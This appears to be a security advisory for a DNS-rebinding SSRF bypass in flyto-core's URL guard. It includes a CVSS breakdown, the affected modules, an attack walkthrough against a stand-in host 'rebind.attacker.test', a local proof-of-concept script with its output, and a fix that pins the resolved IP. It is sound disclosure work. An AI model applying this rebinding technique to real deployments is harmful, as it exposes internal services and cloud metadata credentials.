AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N = 6.8 Medium (AC:H — needs attacker-controlled DNS with a low/zero TTL and to flip the answer between the guard's lookup and the connection's lookup; S:C — reaches internal/metadata services the guard is meant to block; C:H — e.g. cloud metadata credentials at 169.254.169.254).flyto-core (PyPI flyto-core), HEAD ae2b38e (v2.26.7). src/core/utils.py::validate_url_ssrf (resolution at getaddrinfo ~L512, is_private_ip check ~L515) and every consumer: guarded_aiohttp_request(), enforce_outbound_url()/validate_url_with_env_config() — i.e. http.get/request/batch, graphql.query/mutation, monitor.http_check, notification.{slack,discord,teams}, ai.vision_analyze, verify.visual_diff, browser.proxy_rotate, etc.validate_url_ssrf() resolves the hostname with socket.getaddrinfo() and rejects the URL if any resolved IP is private. It then returns the URL string (hostname intact). The caller (guarded_aiohttp_request: validate_url_with_env_config(url) then session.request(method, url, ...)) hands the hostname to aiohttp, which performs an independent second DNS resolution at connect time. The validated IP is never pinned for the connection, so an attacker whose authoritative DNS returns a public A record for the guard's lookup and a private/loopback/metadata address for the connection's lookup reaches internal space. aiohttp resolves via its own resolver, distinct from the guard's socket.getaddrinfo, so the two lookups are genuinely separate — one flip is sufficient.
rebind.attacker.test (TTL 0), and drives any guarded HTTP module with url=http://rebind.attacker.test/ (recipe / MCP execute_module).getaddrinfo → public IP → is_private_ip false → URL allowed.rebind.attacker.test → attacker now answers 127.0.0.1 / 169.254.169.254 → connects to the internal target. Redirect revalidation (GHSA-c9hr) does not help — the initial hop already rebinds.The attacker's TTL=0 flip is modelled by making socket.getaddrinfo return public on lookup #1 (the guard's) and loopback on later lookups (the connection's); a raw local TCP sentinel stands in for the internal service. No payload is sent.
# (full source: findings/flyto-core/raw/poc_dns_rebinding.py)
# guard sees resolution #1 (public) -> ALLOWS; connect re-resolves (127.0.0.1) -> hits sentinel
validate_url_ssrf("http://rebind.attacker.test:8080/") # ALLOWED
socket.create_connection(("rebind.attacker.test", 8080)) # lands on 127.0.0.1 sentinel
Observed output:
[guard] validate_url_ssrf ALLOWED http://rebind.attacker.test:8080/ (saw public 93.184.216.34 on resolution #1)
[connect] outbound request re-resolved rebind.attacker.test -> 127.0.0.1 and reached the INTERNAL sentinel: True
BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)
validate_url_with_env_config(url) resolves once, then session.request(url) resolves again with no pin.socket.getaddrinfo and aiohttp's resolver are independent; aiohttp caches its OWN (malicious) lookup, not the guard's.getaddrinfo results and rejects if any is private, so static multi-record does not bypass; only a time-of-use flip does.Pin the validated address: resolve once, validate every returned IP, then connect to the pinned IP (not the hostname) — e.g. pass the resolved address to aiohttp via a custom resolver/TCPConnector (or set the Host header and connect by IP), so the guard's decision and the socket target are the same address. Apply for every hop in guarded_aiohttp_request. Alternatively, use a resolver wrapper that validates inside the connect path.
High that the resolve-then-connect gap exists and the guard is bypassable by rebinding (PoC fires against the real guard). Severity Medium due to the AC:H rebinding precondition.
poc_dns_rebinding.py)"""PoC: DNS-rebinding SSRF bypass of validate_url_ssrf (resolve-then-connect, no IP pin).
Faithful & benign: a raw local TCP sentinel stands in for an internal service; socket.getaddrinfo
flips public->private across successive lookups exactly as an attacker TTL=0 DNS does.
The guard validates the FIRST resolution (public -> passes) while the CONNECT re-resolves to the
sentinel (private) -> internal reach that the guard was supposed to block."""
import os, sys, socket, threading, time
sys.path.insert(0, os.path.join(os.getcwd(), "src"))
from core.utils import validate_url_ssrf, SSRFError
# 1) internal "service" sentinel: raw TCP listener on loopback
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
import errno
for _p in (8080, 8443):
try:
srv.bind(("127.0.0.1", _p)); break
except OSError:
continue
else:
raise SystemExit("no allowed port free")
srv.listen(1)
PORT = srv.getsockname()[1]
hit = {"internal": False}
def accept_once():
try:
c,_ = srv.accept(); hit["internal"] = True; c.close()
except OSError:
pass
threading.Thread(target=accept_once, daemon=True).start()
HOST = "rebind.attacker.test"
PUBLIC = "93.184.216.34" # example.com, public -> guard must ALLOW
# 2) attacker DNS: 1st lookup (the guard's) => public; later lookups (the connect's) => 127.0.0.1
_real = socket.getaddrinfo
calls = {"n": 0}
def flipping_getaddrinfo(host, port, *a, **k):
if host == HOST:
calls["n"] += 1
ip = PUBLIC if calls["n"] == 1 else "127.0.0.1"
return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", (ip, port or 0))]
return _real(host, port, *a, **k)
socket.getaddrinfo = flipping_getaddrinfo
# 3) GUARD runs (resolves #1 = public) -> should PASS
try:
validate_url_ssrf(f"http://{HOST}:{PORT}/")
print(f"[guard] validate_url_ssrf ALLOWED http://{HOST}:{PORT}/ (saw public {PUBLIC} on resolution #1)")
except SSRFError as e:
print("[guard] blocked (rebinding not effective):", e); sys.exit(0)
# 4) the actual outbound CONNECT re-resolves (#2 = 127.0.0.1) -> lands on the internal sentinel
try:
s = socket.create_connection((HOST, PORT), timeout=3); s.close()
except OSError as e:
print("[connect] error:", e)
time.sleep(0.2)
socket.getaddrinfo = _real
print(f"[connect] outbound request re-resolved {HOST} -> 127.0.0.1 and reached the INTERNAL sentinel: {hit['internal']}")
print("BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)"
if hit["internal"] else "NOT CONFIRMED")
srv.close()
{
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-20T00:11:24Z",
"nvd_published_at": null,
"severity": "HIGH"
}